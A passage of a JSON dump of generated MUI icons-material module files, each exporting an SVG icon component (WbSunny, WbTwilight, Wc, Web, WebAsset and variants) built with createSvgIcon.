.99-.44.99-.99v-.01c0-.55-.44-.99-.99-.99h-1.01c-.55 0-.99.44-.99.99M12 5.5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m-.01 16.95H12c.55 0 .99-.44.99-.99v-.96c0-.55-.44-.99-.99-.99h-.01c-.55 0-.99.44-.99.99v.96c0 .55.44.99.99.99m-7.74-3.21c.39.39 1.02.39 1.41 0l.39-.39c.39-.39.38-1.02 0-1.4l-.01-.01a.996.996 0 0 0-1.41 0l-.39.39c-.38.4-.38 1.02.01 1.41\"\n}), 'WbSunnyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.76 4.84-1.8-1.79-1.41 1.41 1.79 1.79zM4 10.5H1v2h3zm9-9.95h-2V3.5h2zm7.45 3.91-1.41-1.41-1.79 1.79 1.41 1.41zm-3.21 13.7 1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5v2h3v-2zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m-1 16.95h2V19.5h-2zm-7.45-3.91 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}), 'WbSunnySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.76 4.84-1.8-1.79-1.41 1.41 1.79 1.79zM4 10.5H1v2h3zm9-9.95h-2V3.5h2zm7.45 3.91-1.41-1.41-1.79 1.79 1.41 1.41zm-3.21 13.7 1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5v2h3v-2zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m-1 16.95h2V19.5h-2zm-7.45-3.91 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}), 'WbSunnySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.34 6.25 1.42-1.41-1.8-1.79-1.41 1.41zM1 10.5h3v2H1zM11 .55h2V3.5h-2zm7.66 5.705-1.41-1.407 1.79-1.79 1.406 1.41zM17.24 18.16l1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5h3v2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m-1 4h2v2.95h-2zm-7.45-.96 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}, \"1\")], 'WbSunnyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbSunnyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.34 6.25 1.42-1.41-1.8-1.79-1.41 1.41zM1 10.5h3v2H1zM11 .55h2V3.5h-2zm7.66 5.705-1.41-1.407 1.79-1.79 1.406 1.41zM17.24 18.16l1.79 1.8 1.41-1.41-1.8-1.79zM20 10.5h3v2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m-1 4h2v2.95h-2zm-7.45-.96 1.41 1.41 1.79-1.8-1.41-1.41z\"\n}, \"1\")], 'WbSunnyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwighlight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.954 8.66 2.12-2.12 1.415 1.414-2.13 2.12zM17.9 14c-.5-2.85-2.95-5-5.9-5s-5.45 2.15-5.9 5zM2 16h20v4H2zm9-12h2v3h-2zM3.54 7.925 4.954 6.51l2.122 2.122-1.415 1.415z\"\n}), 'WbTwighlight');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwighlight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.954 8.66 2.12-2.12 1.415 1.414-2.13 2.12zM17.9 14c-.5-2.85-2.95-5-5.9-5s-5.45 2.15-5.9 5zM2 16h20v4H2zm9-12h2v3h-2zM3.54 7.925 4.954 6.51l2.122 2.122-1.415 1.415z\"\n}), 'WbTwighlight');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilight');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilight');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.07 9.37.71-.71c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.71c-.39.39-.39 1.02 0 1.41.38.39 1.02.39 1.41 0M21 18H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1M12 7c.56 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v1c0 .55.45 1 1 1M4.96 9.34c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41zM19 16c0-3.87-3.13-7-7-7s-7 3.13-7 7z\"\n}), 'WbTwilightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.07 9.37.71-.71c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.71c-.39.39-.39 1.02 0 1.41.38.39 1.02.39 1.41 0M21 18H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1M12 7c.56 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v1c0 .55.45 1 1 1M4.96 9.34c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41zM19 16c0-3.87-3.13-7-7-7s-7 3.13-7 7z\"\n}), 'WbTwilightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WbTwilightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.9541 8.6624 2.1206-2.122 1.4147 1.4137-2.1206 2.122zM2 18h20v2H2zm9-14h2v3h-2zM3.5427 7.9249l1.4142-1.4142L7.0782 8.632 5.664 10.0462zM5 16h14c0-3.87-3.13-7-7-7s-7 3.13-7 7\"\n}), 'WbTwilightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wc.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 22v-7.5H4V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v5.5H9.5V22zM18 22v-6h3l-2.54-7.63C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37L12 16h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'Wc');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wc.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 22v-7.5H4V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v5.5H9.5V22zM18 22v-6h3l-2.54-7.63C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37L12 16h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'Wc');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 22v-7.5H4V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v5.5H9.5V22zM18 22v-6h3l-2.54-7.63C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37L12 16h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 22v-7.5H4V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v5.5H9.5V22zM18 22v-6h3l-2.54-7.63C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37L12 16h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 21v-6.5H5c-.55 0-1-.45-1-1V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v4.5c0 .55-.45 1-1 1h-.5V21c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1M18 21v-5h1.61c.68 0 1.16-.67.95-1.32l-2.1-6.31C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37l-2.1 6.31c-.22.65.26 1.32.95 1.32H15v5c0 .55.45 1 1 1h1c.55 0 1-.45 1-1M7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 21v-6.5H5c-.55 0-1-.45-1-1V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v4.5c0 .55-.45 1-1 1h-.5V21c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1M18 21v-5h1.61c.68 0 1.16-.67.95-1.32l-2.1-6.31C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37l-2.1 6.31c-.22.65.26 1.32.95 1.32H15v5c0 .55.45 1 1 1h1c.55 0 1-.45 1-1M7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 22v-7.5H4V7h7v7.5H9.5V22zM18 22v-6h3l-3-9h-3l-3 9h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 22v-7.5H4V7h7v7.5H9.5V22zM18 22v-6h3l-3-9h-3l-3 9h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 22v-7.5H4V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v5.5H9.5V22zM18 22v-6h3l-2.54-7.63C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37L12 16h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WcTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 22v-7.5H4V9c0-1.1.9-2 2-2h3c1.1 0 2 .9 2 2v5.5H9.5V22zM18 22v-6h3l-2.54-7.63C18.18 7.55 17.42 7 16.56 7h-.12c-.86 0-1.63.55-1.9 1.37L12 16h3v6zM7.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m9 0c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2\"\n}), 'WcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Web.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5 14H4v-4h11zm0-5H4V9h11zm5 5h-4V9h4z\"\n}), 'Web');"
  },
  {
    "path": "packages/mui-icons-material/lib/Web.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5 14H4v-4h11zm0-5H4V9h11zm5 5h-4V9h4z\"\n}), 'Web');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAsset.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}), 'WebAsset');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAsset.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}), 'WebAsset');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm13.66 19.31L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}), 'WebAssetOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm13.66 19.31L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}), 'WebAssetOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm13.66 19.31L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}), 'WebAssetOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm13.66 19.31L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}), 'WebAssetOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffRounded.js",
